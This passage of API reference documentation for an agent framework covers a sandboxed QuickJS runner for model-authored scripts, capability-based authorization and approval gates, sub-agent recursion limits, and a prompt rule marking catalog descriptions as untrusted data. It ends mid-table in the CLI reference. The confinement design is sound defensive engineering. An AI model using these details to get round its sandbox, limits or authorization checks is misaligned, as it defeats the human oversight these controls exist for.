  as `cause`; a settlement with no visible text fails with cause `no_text`;
  other model failures carry their code (or tag, or `unknown`) as `cause`.
- `layer(config): Layer.Layer<Author.Author, never, Model.Model>`: the
  production author layer. `Author` from `Model.Model`.

## `Script`

The authored artifact of one link and the shape gate over raw output.

### Models

- `Script`: `{ text: string, digest: string }`. A link's flow-script text
  paired with the content digest that keys every call it makes.
- `Extraction`: `{ _tag: "Extracted", script: Script } | { _tag: "Rejected",
  reason: string }`. The result of applying the shape gate.

### Constructors and gates

- `make(text: string): Script`: builds a script from its text, digesting it.
  A script's digest is always the digest of its text.
- `extract(raw: string): Extraction`: applies gate 1 to raw author output:
  exactly one fenced `flow` block, whose body becomes the script. Zero
  blocks or more than one is a `Rejected` whose reason the next authoring
  reads. The block opens with three or more backticks and `flow`, and closes
  only on a line holding at least as many backticks and nothing else. CRLF
  line endings are read as LF, so the script text always uses LF.

## `JsonBoundary`

The gate both runner bindings answer to. `ScriptRunner` is the port and its
in-process binding, `QuickJsRunner` is the sealed realm; whatever the two
must agree about byte for byte lives here, so a limit or a refusal sentence
has one home instead of a copy per binding.

### Constants

- `maxJsonDepth = 128`: the deepest nesting a value may carry across the
  boundary.
- `maxJsonSize = 8 * 1024 * 1024`: the boundary's size budget, in units: one
  per node plus one per code unit of every string and key.
- `unserializableOutcome`: the message every binding reports when a script's
  returned value is not JSON.
- `notAnOutcome`: the message every binding reports when a script's returned
  value is JSON but not one of the three outcomes.
- `unserializableInput`: the message every binding rejects a `ctx.call` with
  when its input does not cross the boundary. The QuickJS prelude
  interpolates it, so the in-realm refusal and the host-side one are the
  same sentence by construction.
- `missingCallName`: the message every binding rejects a `ctx.call` with
  when its first argument is not a call name.
- `abortedLink`: the message every queued call settles with once a failed
  handler aborts the link.
- `neverSettles`: the runtime failure every binding reports when the script
  awaited something outside the one supported async door.

### Gates

- `jsonBoundary(value): { _tag: "Ok", value: unknown } | { _tag: "Refused" }`:
  the strict JSON boundary every value crosses: call payloads, handler
  results, and script outcomes. Only `null`, finite numbers, strings,
  booleans, and acyclic plain objects and arrays cross, and what crosses is
  a structural copy. `undefined` is refused everywhere except as the whole
  value, where it becomes `null`; array holes are refused; non-finite
  numbers are refused; `-0` crosses as `0`; a `toJSON` method is never
  called; non-plain prototypes are refused; identity is not preserved.
- `decodeOutcome(value): Option.Option<Outcome.Outcome>`: decodes a script's
  returned value into an outcome. Shared by every runner binding so they
  reject the same shapes and normalize identically. A `To` is rebuilt
  through `Outcome.to`.
- `failureMessage(error: unknown): string`: renders a script failure value
  the way the QuickJS binding renders a dumped realm error, so runtime
  failure messages match across runners.

## `ScriptRunner`

The script interpreter port and its in-process implementation.

### Errors

- `ScriptFailure extends Schema.TaggedError`: tag `/chain/ScriptFailure`,
  fields `code: "compile" | "runtime" | "invalid_outcome" |
  "runner_unavailable"` and `message: string`. A script that did not reach
  an outcome. Inside `Chain.run` it is absorbed into a `script_failed`
  observation; `QuickJsRunner.layer()` carries it when the WebAssembly
  module cannot load.

### Models

- `Request`: `{ name: string, payload: unknown }`. One call a running script
  issued. Ordinals are assigned by the chain's handler, which owns the
  per-link call counter.

### Services

- `Service`: `{ run(script, handler): Effect<Outcome.Outcome, ScriptFailure
  | E> }`. The interpreter's one operation: run a script to an outcome,
  settling each call it issues through the given handler, one at a time.
- `ScriptRunner extends Context.Service`: the script interpreter service
  tag, key `/chain/ScriptRunner`.

### Constructors and layers

- `make(implementation: Service): Service`: builds an interpreter from an
  implementation.
- `makeNoop(overrides?: Partial<Service>): Service`: an interpreter whose
  every operation fails as unavailable, with per-operation overrides.
- `layerNoop(overrides?): Layer.Layer<ScriptRunner>`: the unavailable
  interpreter as a layer.
- `layerInProcess: Layer.Layer<ScriptRunner>`: the in-process runner. The
  script body runs as an async `Function` with `ctx`, `done`, `to`, and
  `park` in scope. It provides NO isolation: the script reaches
  `globalThis`, `process`, and dynamic `import()`. Use it for trusted
  fixtures only; `QuickJsRunner.layer()` is the only sandbox for
  model-authored scripts.

## `QuickJsRunner`

The QuickJS-WASM script runner: the production sealed interpreter. A fresh
realm per link, with limits enforced by the QuickJS runtime itself, and no
host globals. The prelude deletes `Date` and `Math.random`; time and
randomness are the `sys/now` and `sys/random` catalog entries.

### Models

- `Limits`: optional hard limits on a script evaluation.
  - `memoryBytes?: number`: clamped to `memoryFloor`; below it the realm
    cannot bootstrap and QuickJS aborts natively instead of failing typed.
  - `steps?: number`: counts interrupt-handler polls. QuickJS polls roughly
    every few thousand instructions, so the budget is an
    order-of-magnitude bound on work, not an instruction count.
  - `stackBytes?: number`: bounds in-realm recursion, clamped to
    `stackCeiling`. Leaving it unset lets deep recursion exhaust the HOST
    WebAssembly stack instead, so opting out is only ever right for a
    trusted fixture.

### Constants

- `memoryFloor = 256 * 1024`: the smallest memory limit the runner applies.
- `stackCeiling = 256 * 1024`: the largest in-realm stack the runner grants.
  At this size QuickJS raises its own catchable `stack overflow` and
  disposal is clean.
- `hostDefectMarker = "host: "`: the prefix on every `runtime` failure the
  realm's defect boundary produced from a host-side defect (a native
  WebAssembly abort, a host `RangeError`, a bridge bug) rather than from
  the script. A script's own throw never carries it. The boundary also logs
  the defect with its cause at `Warning` level.
- `escapedWrapper = "the script escaped its async wrapper"`: the `runtime`
  failure for a script whose text closed the async wrapper it is spliced
  into. The runner parses the wrapped source compile-only, then compares
  the body function's source with the authored text before the body runs.
  The outcome always passes the in-realm encoder, whatever the script does
  to realm globals such as `Promise.prototype.then`.
- `defaultLimits: Required<Limits>`: `{ memoryBytes: 64 * 1024 * 1024,
  stackBytes: stackCeiling, steps: 10000 }`. Passing an explicit `undefined`
  for any field opts out of that limit.

### Gates

- `decodeCallInput(encoded: string): { payload: unknown, refusal?: string }`:
  applies the host JSON boundary to one call input encoded by the realm.
- `dispatchBridgeCall(next, pending, handler): Effect<void, E>`: dispatches
  one queued realm call or settles its host-side input refusal. A failed
  handler aborts the run; queued calls settle as aborted so the realm holds
  no dangling promises.
- `encodeSettlement(name, settlement): string`: encodes one bridge
  settlement for the realm. Total: a `JSON.stringify` that throws degrades
  to a refusal the script can catch.

### Constructors and layers

- `cachedLoad(load): () => Promise<A>`: caches a successful load
  process-wide while letting a rejected load be retried. Caching the
  rejection would turn one transient failure into a permanently broken
  runner.
- `make(limits?: Limits, load?: () => Promise<QuickJSWASMModule>):
  Effect<ScriptRunner.Service, ScriptRunner.ScriptFailure>`: constructs the
  runner, compiling the WebAssembly module once per process. A failed load
  is a typed, retryable `runner_unavailable`, never a defect, and never
  cached. The limits are merged over `defaultLimits` and copied at
  construction, so a later edit of the caller's object changes nothing. Dies
  when a set limit is not a non-negative integer (NaN, infinite, negative,
  or fractional), because such a value would remove the bound.
- `layer(limits?: Limits): Layer.Layer<ScriptRunner.ScriptRunner,
  ScriptRunner.ScriptFailure>`: the production script-runner layer. A sealed
  QuickJS realm per link.

## `Prompt`

The stable author-call prefix, assembled as a pure value. Assembly is
byte-stable (same inputs, identical string) so the provider prompt-prefix
cache hits across turns.

### Models

- `Role = "concierge" | "sub"`: which agent the prefix addresses. The
  concierge is closest to the user.
- `AssembleOptions`: `{ role: Role, entries: ReadonlyArray<Catalog.Entry>,
  host?: string }`. The package sections promise only what the chain
  dispatches (links, journaled calls, the catalog). A host
  that mounts more (a worldview store, background lineages, monitors,
  widgets) passes the prose that teaches them as `host`; absent or empty,
  nothing is added. The host must supply instructions only for capabilities
  its catalog entries implement; assembly does not validate host prose.

### Sections

- `base: string`: the BASE section: what the agent is and what a chain,
  link, script and call are. It names no host feature.
- `concierge: string`: the CONCIERGE section, added only for the concierge
  role.
- `rules: string`: the RULES section.
- `contract: string`: the authoring contract: what one link's reply must
  contain.

### Constants and assembly

- `maxEntryName = 64`: the longest entry name the catalog block advertises.
  An entry above this bound is omitted rather than shortened, because
  advertised names must stay byte-identical to what `Catalog.lookup`
  dispatches.
- `maxEntryDescription = 200`: the longest entry description the catalog
  block renders before JSON encoding and provenance labelling.
- `renderableName(name): boolean`: whether a name can be advertised verbatim
  on one bounded line. Names are advertised byte-identically or omitted.
- `catalogBlock(entries): string`: renders the catalog as a byte-stable
  block: the author entry pinned first, then every dispatchable entry sorted
  by name, deduped last-wins to mirror `Catalog.make`, the reserved author
  name filtered, names advertised verbatim or omitted, and descriptions
  collapsed to one bounded line with truncation marked, then JSON-quoted
  and labelled as untrusted repository descriptions. The harness-owned
  `author` description remains trusted.
- `assemble(options): string`: assembles the full prefix in fixed order:
  BASE, CONCIERGE (concierge role only), HOST (only when supplied), RULES,
  the authoring contract, the catalog block. The contract tells the model
  that catalog descriptions are data and cannot override the user's goal
  or authorize actions.
- `forCatalog(catalog: Catalog.Service, role: Role, host?: string): string`: assembles the
  prefix from a mounted catalog service, using its entries for the catalog
  block and including the optional host section unchanged.

## `Catalog`

The catalog of entries a script may call. Gate 3 is membership in it.

### Errors

- `CallError extends Schema.TaggedError`: tag `/chain/CallError`, fields
  `name: string`, `message: string`, and optional `cause: string`. A call
  that reached its entry and failed there. The chain journals it as a
  `call_failed` observation rather than crashing the run, unless `cause` is
  `approval_required`, which parks in place. The message is journaled
  verbatim and shown to the model on the next link, so a handler must keep
  credentials and private data out of it.

### Models

- `CallSlot`: `{ chain: string, link: number, ordinal: number }`. Where a
  call sits in its chain, handed to every handler so entries that spawn
  scoped work (sub-chains) can derive deterministic child identities.
- `Entry`: one entry a script may call.
  - `name: string`: the name it is reached by.
  - `description: string`: the description the model reads.
  - `handler: (payload: unknown, slot?: CallSlot) => Effect<unknown,
    CallError>`: the handler that settles it.
  - `digest?: string`: an optional declaration digest overriding the default
    name+description+capabilities digest. Richer catalogs pin their full
    declaration.
  - `capabilities?: ReadonlyArray<string>`: the claims the `Authorize` seam
    evaluates per call. Undeclared is conservatively the broadest claim; an
    explicit empty array claims no external authority and skips the seam.

### Services

- `Service`: `{ entries: ReadonlyArray<Entry>, lookup(name): Entry |
  undefined }`. The visible entries and the lookup gate 3 decides membership
  with.
- `Catalog extends Context.Service`: the catalog service tag, key
  `/chain/Catalog`.

### Constructors and layers

- `entryDigest(entry): string`: the declaration digest that pins an entry's
  identity into every call key that names it. The `digest` override wins
  when non-empty; otherwise the digest of the canonical name, description,
  and capabilities.
- `make(entries): Service`: builds a catalog over the given entries, indexed
  by name, last-wins, over one frozen snapshot that backs BOTH the
  advertised list and the dispatch index.
- `system: ReadonlyArray<Entry>`: the system entries every sealed realm
  relies on: `sys/now` (the current wall-clock time in epoch milliseconds,
  journaled for replay) and `sys/random` (a uniform random number in
  `[0, 1)`, journaled for replay), both with an empty capability list.
- `withSystem(entries): ReadonlyArray<Entry>`: appends the system entries to
  a host's own, LAST, so nothing a host passes can shadow them.
- `makeNoop(): Service`: the empty catalog. Every call misses gate 3.
- `layer(entries): Layer.Layer<Catalog>`: a catalog over the given entries,
  as a layer.
- `layerNoop: Layer.Layer<Catalog>`: the empty catalog as a layer.

## `MemoryEntries`

The memory door: `remember` and `recall` as catalog entries, bound over the
[@smthrs/memory](/docs/reference/api/memory/) package's own shipped contract.

### Constructors and layers

- `contractDigest(contract): string`: the digest of a memory entry's shipped
  contract (name, description, effect declaration, and the input/output
  schema shapes), so a memory-package upgrade that changes the contract
  re-keys every call that names it instead of replaying stale results.
- `bindingDigest(contract, policy: WithMemory.Policy): string`: the digest of
  an entry's binding identity, its `contractDigest` together with the decoded
  policy it runs under. `make` keys each entry by it, so a journaled `recall`
  recorded under a broader policy is never replayed for a call under a
  narrower one.
- `make(policy: WithMemory.Policy): Effect<ReadonlyArray<Catalog.Entry>,
  MemoryError, MemoryStore.MemoryStore | Recall.Recall>`: builds the two
  memory entries over the ambient store and recall services. Exactly those
  two services are captured, so call-time provisions of anything else are
  never shadowed. Every call runs under `policy`: a bank the policy does not
  name fails with cause `invalid_namespace` before the store runs, an empty
  bank means the policy's own, and each remembered fact records `{ runId:
  chain, nodeId: "link-<link>", iteration: ordinal }` as provenance. An
  invalid policy fails with `invalid_argument`. A malformed payload fails
  with cause `invalid_input` quoting the actual parse failure; a result
  outside the output contract fails with `invalid_output`; a store failure
  carries the memory package's stable error code as the call's `cause`.
- `layer(policy: WithMemory.Policy): Layer.Layer<Catalog.Catalog,
  MemoryError, MemoryStore.MemoryStore | Recall.Recall>`: the memory entries
  under `policy` as a whole catalog of their own, composed with the system
  entries.

Hosts that also mount the memory flows through the registry must bind them
there OR here, not both: a catalog holding two `remember` declarations
discloses one and runs the other, and journals written under the registry's
digest refuse to resume against this door's digest.

## `RegistryCatalog`

The registry-backed catalog projection over [@smthrs/registry](/docs/reference/api/registry/).
Projection, not fusion: the registry stays the owner of discovery, naming,
warnings, and lazy bodies.

### Models

- `Implementation = (payload: unknown) => Effect<unknown, Catalog.CallError>`:
  a host-supplied handler for a module-bodied flow.
- `PromptRunner = (rendered: string, descriptor: Descriptor.FlowDescriptor)
  => Effect<string, Catalog.CallError>`: how a rendered markdown prompt
  executes; the seam a sub-agent seat fills. Without one, markdown flows are
  not projected at all.
- `Options`: how the registry is projected into a catalog.
  - `implementations?: ReadonlyMap<string, Implementation>`: which flows
    have host implementations.
  - `prompt?: PromptRunner`: how markdown prompts execute.
  - `visible?: (descriptor) => boolean`: which flows are visible (default
    the registry's own `visible()`).
  - `entries?: ReadonlyArray<Catalog.Entry>`: extra host entries, composed
    after the projection.

### Constructors and layers

- `declarationDigest(descriptor): string`: re-exported from
  `Descriptor.declarationDigest` in `@smthrs/registry`, which owns
  `FlowDescriptor`. The canonical digest of a descriptor's full declaration:
  every top-level field except `provenance.pack`, with `capabilities` sorted,
  so redeclaring a flow on any of those axes changes what every call key pins.
  It is the same number `@smthrs/harness` folds into a call identity.
- `make(options?): Effect<Catalog.Service, never, Registry.Registry>`:
  builds the catalog service from the ambient registry. Only callable
  descriptors are projected. Precedence when names collide: registry
  projection, then host extras, then the system entries, later wins.
  Binding an implementation for a name the registry does not know is a host
  configuration defect and dies at construction. A markdown call takes
  `{ args: string }` (or a bare string) and re-checks the declaration digest
  at call time, failing with a `CallError` when the registry was refreshed
  under it.
- `layer(options?): Layer.Layer<Catalog.Catalog, never, Registry.Registry>`:
  the registry-backed catalog layer.

## `SubChains`

Sub-agents as an ordinary recursive catalog entry. Recursion is the
primitive.

### Constants

- `agentName = "agent"`: the catalog name a script spawns a sub-agent by.
- `agentDescription`: the agent entry's description, as the model reads it
  in the catalog block: "Run a sub-agent chain to completion and return its
  terminal outcome as data".
- `agentCapability = "proc:spawn:agent"`: the capability the agent entry
  claims. Spawning a sub-agent is a process-spawn-shaped authority hosts
  grant deliberately; the child's own calls are gated individually by the
  same seam.
- `defaultMaxDepth = 4`: the nesting bound a catalog inherits when
  `Options.maxDepth` is unset, counted in derived child segments.

### Models

- `Options`: what the recursive catalog needs.
  - `entries: ReadonlyArray<Catalog.Entry>` (required): entries every chain
    in the tree can call. The agent and system entries are appended.
  - `maxDepth?: number`: maximum nesting depth, counted in derived child
    segments.
  - `maxLinks?: number`, `maxCallsPerLink?: number`, `prefix?: string`:
    per-child budgets and prefix, independent of the parent's.

### Constructors and layers

- `contractDigest(options): string`: the digest of the agent entry's
  behavior contract. Redeclaring the child budgets, prefix, or depth bound
  re-keys every settled spawn.
- `make(options): Effect<Catalog.Service, never, Journal.Journal |
  Author.Author | ScriptRunner.ScriptRunner>`: builds the recursive catalog:
  the given entries plus the `agent` entry (whose handler runs a nested
  chain against this same catalog, so children recurse up to `maxDepth`) and
  the system entries, which nothing can shadow. The services are captured at
  construction: build the catalog over the SAME layers the chain runs on.
  Host entries shadowing the reserved names (`agent`, `author`, `sys/now`,
  `sys/random`) die at construction, as does a `maxDepth`, `maxLinks`, or
  `maxCallsPerLink` that is not a non-negative integer.
- `layer(options): Layer.Layer<Catalog.Catalog, never, Journal.Journal |
  Author.Author | ScriptRunner.ScriptRunner>`: the recursive catalog layer.

The `agent` entry takes `{ goal, context? }` and runs the child under the
derived id `parent-chain/link.ordinal`. A child's `done` and every terminal
`park(...)`, including a script's own `park("approval", ...)`, settle as data
on the parent call. Only a child's unsettled `ApprovalWait` bubbles, as a
`CallError` whose `cause` is `approval_required`, so the parent waits in place
and a later grant resumes the child through the same slot. A failing child run
is not a defect: its original typed error reaches the parent's error channel
with its `_tag`, `code`, and `cause` intact, the spawning call stays
unsettled, and a resume re-enters the child at its settled prefix.

## `Authorize`

Gate 4's seam: per-call authorization against declared capabilities.

### Errors

- `AuthorizeError extends Schema.TaggedError`: tag `/chain/AuthorizeError`,
  fields `code: "denied" | "approval_required" | "authorize_unavailable"`
  and `message: string`. A refusal from the authorization seam. For catalog
  calls, `denied` and `approval_required` are absorbed (a journaled
  observation, an in-place park); `authorize_unavailable` always propagates.
  For the model seat, `denied` propagates typed.

### Models

- `Request`: `{ name: string, capabilities: ReadonlyArray<string>, slot:
  Catalog.CallSlot }`. What the chain hands the seam: the call's name, the
  capability claims its entry declares (an undeclared entry claims
  everything), and the call slot.

### Services

- `Service`: `{ authorize(request: Request): Effect<void, AuthorizeError> }`.
  The seam's one operation: succeed when the call is allowed, fail with the
  typed refusal otherwise.
- `Authorize extends Context.Service`: the authorization seam service tag,
  key `/chain/Authorize`.

### Constructors and layers

- `make(implementation: Service): Service`: builds a seam from an
  implementation.
- `makeNoop(overrides?: Partial<Service>): Service`: a seam whose every
  operation fails as unavailable, with per-operation overrides.
- `layerNoop(overrides?): Layer.Layer<Authorize>`: the unavailable seam as a
  layer.
- `claimPattern(declared: string):
  Option.Option<Capability.CapabilityPattern>`: parses a declared claim into
  a capability pattern over [@smthrs/capability](/docs/reference/api/capability/). A
  two-component claim with no resource (`fs:read`) claims the whole family,
  as if it ended in `:**`. An unparseable claim is `None`: the seam asks for
  it, never passes it.
- `layerRules(rules: ReadonlyArray<Permission.Rule>): Layer.Layer<Authorize>`:
  the rules-backed seam. An exact claim is decided by `Permission.evaluate`;
  a set claim (a family action or a resource glob) is decided
  pattern-to-pattern, where a whole-set match is last-match-wins and a
  partial `deny` or `ask` can only raise the verdict. Across one request's
  claims, `deny` beats `ask` beats `allow`. An unmatched or unparseable
  claim asks. The rules are copied when the layer is constructed, so a later
  edit of the caller's array changes no verdict.
- `layerAllowAll: Layer.Layer<Authorize>`: an allow-everything seam for
  hosts that enforce elsewhere.

## `Steering`

The steering port: outside messages drained at link boundaries.

### Errors

- `SteeringError extends Schema.TaggedError`: tag `/chain/SteeringError`,
  fields `code: "steering_unavailable"` (constructor default) and `message:
  string`. A steering queue that cannot be admitted to or drained.

### Services

- `Service`: the two operations the chain needs.
  - `admit(message: string): Effect<void, SteeringError>`: admits a message
    from outside.
  - `drain(boundary: string): Effect<ReadonlyArray<string>, SteeringError>`:
    takes every queued message. The boundary names the journal position the
    drain feeds (`link/ordinal`), so a durable binding can make the take
    exactly-once by deduping on it.
- `Steering extends Context.Service`: the steering service tag, key
  `/chain/Steering`.

### Constructors and layers

- `make(implementation: Service): Service`: builds a steering port from an
  implementation.
- `makeNoop(overrides?: Partial<Service>): Service`: a steering port whose
  every operation fails as unavailable, with per-operation overrides.
- `layerNoop(overrides?): Layer.Layer<Steering>`: the unavailable steering
  port as a layer.
- `layerMemory(initial?: ReadonlyArray<string>): Layer.Layer<Steering>`: an
  in-memory steering queue. `admit` appends, `drain` takes everything and
  ignores the boundary, accepting the volatile loss window that implies.

Only the root chain drains, and only at the `link/ordinal` boundary of a
live author call. Non-empty drains journal a `SteeringDrained` event;
drained lines reach every subsequent author attempt of the link as
`[steering] <line>` context. For the design behind every entry on this page,
see [The chain contract](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/chain/docs/contract.md).

---

# @smthrs/cli
https://smithers.sh/docs/reference/api/cli/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/docs)

> **Related APIs:** [`@smthrs/agent`](/docs/reference/api/agent/) · [`@smthrs/build-cli`](/docs/reference/api/build-cli/) · [`@smthrs/canonical`](/docs/reference/api/canonical/) · [`@smthrs/capability`](/docs/reference/api/capability/) · [`@smthrs/control`](/docs/reference/api/control/) · [`@smthrs/crypto`](/docs/reference/api/crypto/) · [`@smthrs/database`](/docs/reference/api/database/) · [`@smthrs/engine`](/docs/reference/api/engine/) · [`@smthrs/engine-store`](/docs/reference/api/engine-store/) · [`@smthrs/evals`](/docs/reference/api/evals/) · [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/flows`](/docs/reference/api/flows/) · [`@smthrs/gateway`](/docs/reference/api/gateway/) · [`@smthrs/harness`](/docs/reference/api/harness/) · [`@smthrs/integrations`](/docs/reference/api/integrations/) · [`@smthrs/jj`](/docs/reference/api/jj/) · [`@smthrs/journal`](/docs/reference/api/journal/) · [`@smthrs/kernel`](/docs/reference/api/kernel/) · [`@smthrs/mcp`](/docs/reference/api/mcp/) · [`@smthrs/memory`](/docs/reference/api/memory/) · [`@smthrs/migrate`](/docs/reference/api/migrate/) · [`@smthrs/model`](/docs/reference/api/model/) · [`@smthrs/notifications`](/docs/reference/api/notifications/) · [`@smthrs/observability`](/docs/reference/api/observability/) · [`@smthrs/plan`](/docs/reference/api/plan/) · [`@smthrs/platform-bun`](/docs/reference/api/platform-bun/) · [`@smthrs/platform-node`](/docs/reference/api/platform-node/) · [`@smthrs/registry`](/docs/reference/api/registry/) · [`@smthrs/run-store`](/docs/reference/api/run-store/) · [`@smthrs/sandbox`](/docs/reference/api/sandbox/) · [`@smthrs/scorers`](/docs/reference/api/scorers/) · [`@smthrs/std`](/docs/reference/api/std/) · [`@smthrs/step-cache`](/docs/reference/api/step-cache/) · [`@smthrs/sync`](/docs/reference/api/sync/) · [`@smthrs/targets`](/docs/reference/api/targets/) · [`@smthrs/time-travel`](/docs/reference/api/time-travel/) · [`@smthrs/triggers`](/docs/reference/api/triggers/)

The root entry point exports each public module as a namespace. Import a module directly with `@smthrs/cli/<Module>`.

`@smthrs/cli/package.json` is exported. `@smthrs/cli/internal/*` and
`@smthrs/cli/*/index` are blocked in the export map.

The nested `cli/*`, `evaluation/*`, `history/*`, `operator/*`, and `suggest/*`
entries in the export map are subpath-only: `@smthrs/cli/<dir>/<Module>`
resolves and no root namespace does. The package README lists them.

## Example

```bash
smthrs doctor
smthrs init hello
smthrs flow start hello
smthrs runs list
```

## Trust boundaries

Four rules hold across every module below, and each one is a property of the
composition rather than of a single call site.

**Credentials stay out of process arguments.** The local executor reads a
provider credential only while resolving a model route. A detached launch
inherits the parent's environment, including `SMITHERS_TOKEN`, and puts only
the approval payload, `--mcp-config`, and `--root` on the child's command line.

**Agent-reachable equipment runs guarded.** `layerGuardedPlatform` resolves,
authorizes, re-resolves, and executes every filesystem operation relative to a
pinned root descriptor, and the same `GrantStore` must be given to the
filesystem and to the process spawner: a filesystem pinned to an allow-all
store beside a shell pinned to a real one is a fail-open the types would not
catch. `layerHostPlatform` is the unguarded half, and only host equipment that
carries its own confinement argument runs on it.

**Non-loopback binds are refused by default.** A gateway on anything but
`127.0.0.1`, `::1`, or `localhost` needs both an explicit `--listen` and a
bearer token. `Serve.refuse` is the rule, and `NodeControl.layerServer`
enforces it again synchronously before the server layer is built.

**Caller-controlled data cannot imitate a receipt.** MCP arguments are decoded
against the same closed schemas the server advertises, and failures are
redacted before they cross the protocol boundary. Stored and projected values
are rendered through `Output.renderValue`, so only a validated control receipt
can set a nonzero process status.

## Cli

`Cli.makeCli(config?)` builds the unified Incur command tree. Its Zod schemas
describe target, flow, run, approval, and operator commands; handlers acquire
Effect services only after parsing. Use `.serve(argv)` to run the tree in a
Node host. See the [CLI reference](https://github.com/smithersai/smithers/blob/main/packages/smithers/docs/reference/cli/README.md) for command
groups, machine output, and local-only features.

## Audience

`Audience` is also available from `@smthrs/cli/Audience`. It re-exports the
shared build/control presentation policy, without acquiring runtime services.

| Export                          | Purpose                                                                                                          |
| ------------------------------- | ---------------------------------------------------------------------------------------------------------------- |
| `Mode`                          | Explicit `auto`, `human`, or `agent` selection.                                                                  |
| `Options`                       | Injected environment, stream capabilities, format, MCP, and verbosity choices.                                   |
| `Policy`                        | Audience, selection source, matched harness names, result encoding policy, progress mode, and prompt capability. |
| `Marker`, `markers`             | Source-verified runtime marker registry; no credential or installation probing.                                  |
| `resolve(options?)`             | Pure audience and presentation resolution; evidence contains names, never environment values.                    |
| `fromArguments(argv, options?)` | Resolves presentation flags without loading a workspace.                                                         |
| `incurArguments(argv, policy)`  | Selects structured Incur formatting for agent-owned terminals; logs default to incremental JSONL.                |

Explicit selection overrides detection, and MCP always remains machine-clean.
This policy affects rendering only, not approvals or permissions. See
[human and agent output](https://github.com/smithersai/smithers/blob/main/packages/smithers/docs/reference/cli/README.md#human-and-agent-output).

## Command

The retained Effect CLI compatibility tree, used by hidden flat aliases.
New hosts should use `Cli.makeCli` for the unified public surface.

| Export           | Signature                                                                                 | Meaning                                                                                                                                                                       |
| ---------------- | ----------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `cli`            | `Command`                                                                                 | The root command: every shipped verb with a handler, every removed verb and flag as a hidden refusal.                                                                         |
| `migrationCli`   | `Command`                                                                                 | Local migration inspection tree, composed without opening execution databases.                                                                                                |
| `doctorCli`      | `Command`                                                                                 | Local diagnostics tree using the discovery snapshot without opening execution databases.                                                                                      |
| `signalKey`      | `(runId: string, payload: SignalPayload) => string`                                       | The idempotency key of one signal delivery: `cli:signal:<run-id>:<digest>`. The payload digest is part of the key because two different signals to one run are two mutations. |
| `latestSequence` | `<E, R>(events: Stream<{ sequence: number }, E, R>) => Effect<number \| undefined, E, R>` | The greatest sequence in a stream, folded without retaining history. Stream failures are preserved, so a caller never substitutes a weaker cursor after a failed read.        |

Run-control handlers use `Control` for local and remote execution. Local
diagnostic and filesystem commands retain their documented remote refusals.

## Application

The transport-neutral composition.

| Export             | Signature                                                                                                    | Meaning                                                                                                                                                                                                                                                                                   |
| ------------------ | ------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Config`           | interface                                                                                                    | Connection and project settings (`remote`, `credential`, `mcpServers`, `root`, `migrationRoot`), plus trusted host options (`health`, `stateRoot`, `executionRoot`, `approvalAuthority`, `principal`, `sandboxProviders`). Host options are supplied in code, not decoded from CLI flags. |
| `Engine`           | interface                                                                                                    | `runtime` and `journal`: where a local composition's runs and events are recorded. The journal is required, not optional.                                                                                                                                                                 |
| `engineMemory`     | `Engine`                                                                                                     | A deterministic runtime over an in-memory SQLite journal. Nothing it records survives the process.                                                                                                                                                                                        |
| `layer`            | `(config, registry?, engine?, executor?) => Layer<Control, never, HttpClient \| RpcSerialization \| Socket>` | Local `Control` when `config.remote` is unset, the RPC client otherwise. Also supplies `ExecutorOwnership`.                                                                                                                                                                               |
| `SandboxHost`      | interface                                                                                                    | `spawner`: the host's contained spawner, handed to a sandbox provider it builds.                                                                                                                                                                                                          |
| `SandboxProviders` | `{ [provider]?: (selection, host: SandboxHost) => Sandbox.Provider }`                                        | The machine each `sandbox:` provider name runs on. Image and credentials are the host's; a factory that cannot honor the selection throws and the launch is refused.                                                                                                                      |

`executor` must be passed here rather than provided from outside, because
`ControlLive` resolves it with `Effect.serviceOption` while its own layer is
built. Omitting it leaves every run `pending`.

Native Node and Bun hosts accept `health?: Health.HealthConfig`: registered
checkers, flow-ID `bindings`, per-binding `policy`, and host `limits`. Local
hosts validate it before starting scoped monitors; a `remote` composition never
executes these callbacks. The stall threshold is
`Math.ceil(stallAfterMs / intervalMs)` checks. Observations are journaled as
`control.status.observed` and projected as `statusRollup`; they never authorize
a lifecycle mutation. See [Configure observational health](https://control.smithers.sh/guides/observe-health/)
for checker configuration, defaults, and validation. Discovery pages through all
active statuses in `smithers/health/Discovery`, a durable `@smthrs/flow` poll.
Its five-second waits and repeated scans are flow steps, including discovery of
runs written by other processes and recovery after a failed read. Each scoped
host rebuilds its monitors; the same discovery lineage resumes after restart.

## CloudSandbox

Import `CloudSandbox` from `@smthrs/cli` or `@smthrs/cli/CloudSandbox`. The
subpath loads independently of the flow engine and shares the canonical
transport re-exported by `NodeControl.workspaceSshPrefix`.

| Export         | Signature                                | Meaning                                                                                                                                                              |
| -------------- | ---------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `make`         | `(options: Options) => Sandbox.Provider` | Creates or resumes a Cloud workspace per session name, waits for running, refreshes its pinned SSH grants per command, and deletes it on scope release.              |
| `Options`      | interface                                | Local `spawner`, Cloud `repository`, optional `environment`, `sourceBookmark`, absolute `workdir`, `namePrefix`, `pollInterval`, `readyTimeout`, and injected `api`. |
| `WorkspaceApi` | interface                                | Abortable control `request(method, path, body, signal)` and `sshPrefix(reference, signal)` operations for alternate hosts and deterministic lifecycle tests.         |

Use `Sandbox.layerHost(provider, { session })` to place both commands and files
on the workspace. Concurrent workers need distinct session keys; reusing a key
is an exclusive resume claim. Provisioning, SSH setup, and cancellation errors
still release the workspace. Deletion failures fail release. See the
[Cloud sandbox guide](https://github.com/smithersai/smithers/blob/main/packages/smithers/docs/guides/cloud-sandbox.md).

## NodeControl

The Node composition for the command tree.

| Export                                                     | Signature                                                                                                                                                                                                                                                        | Meaning                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
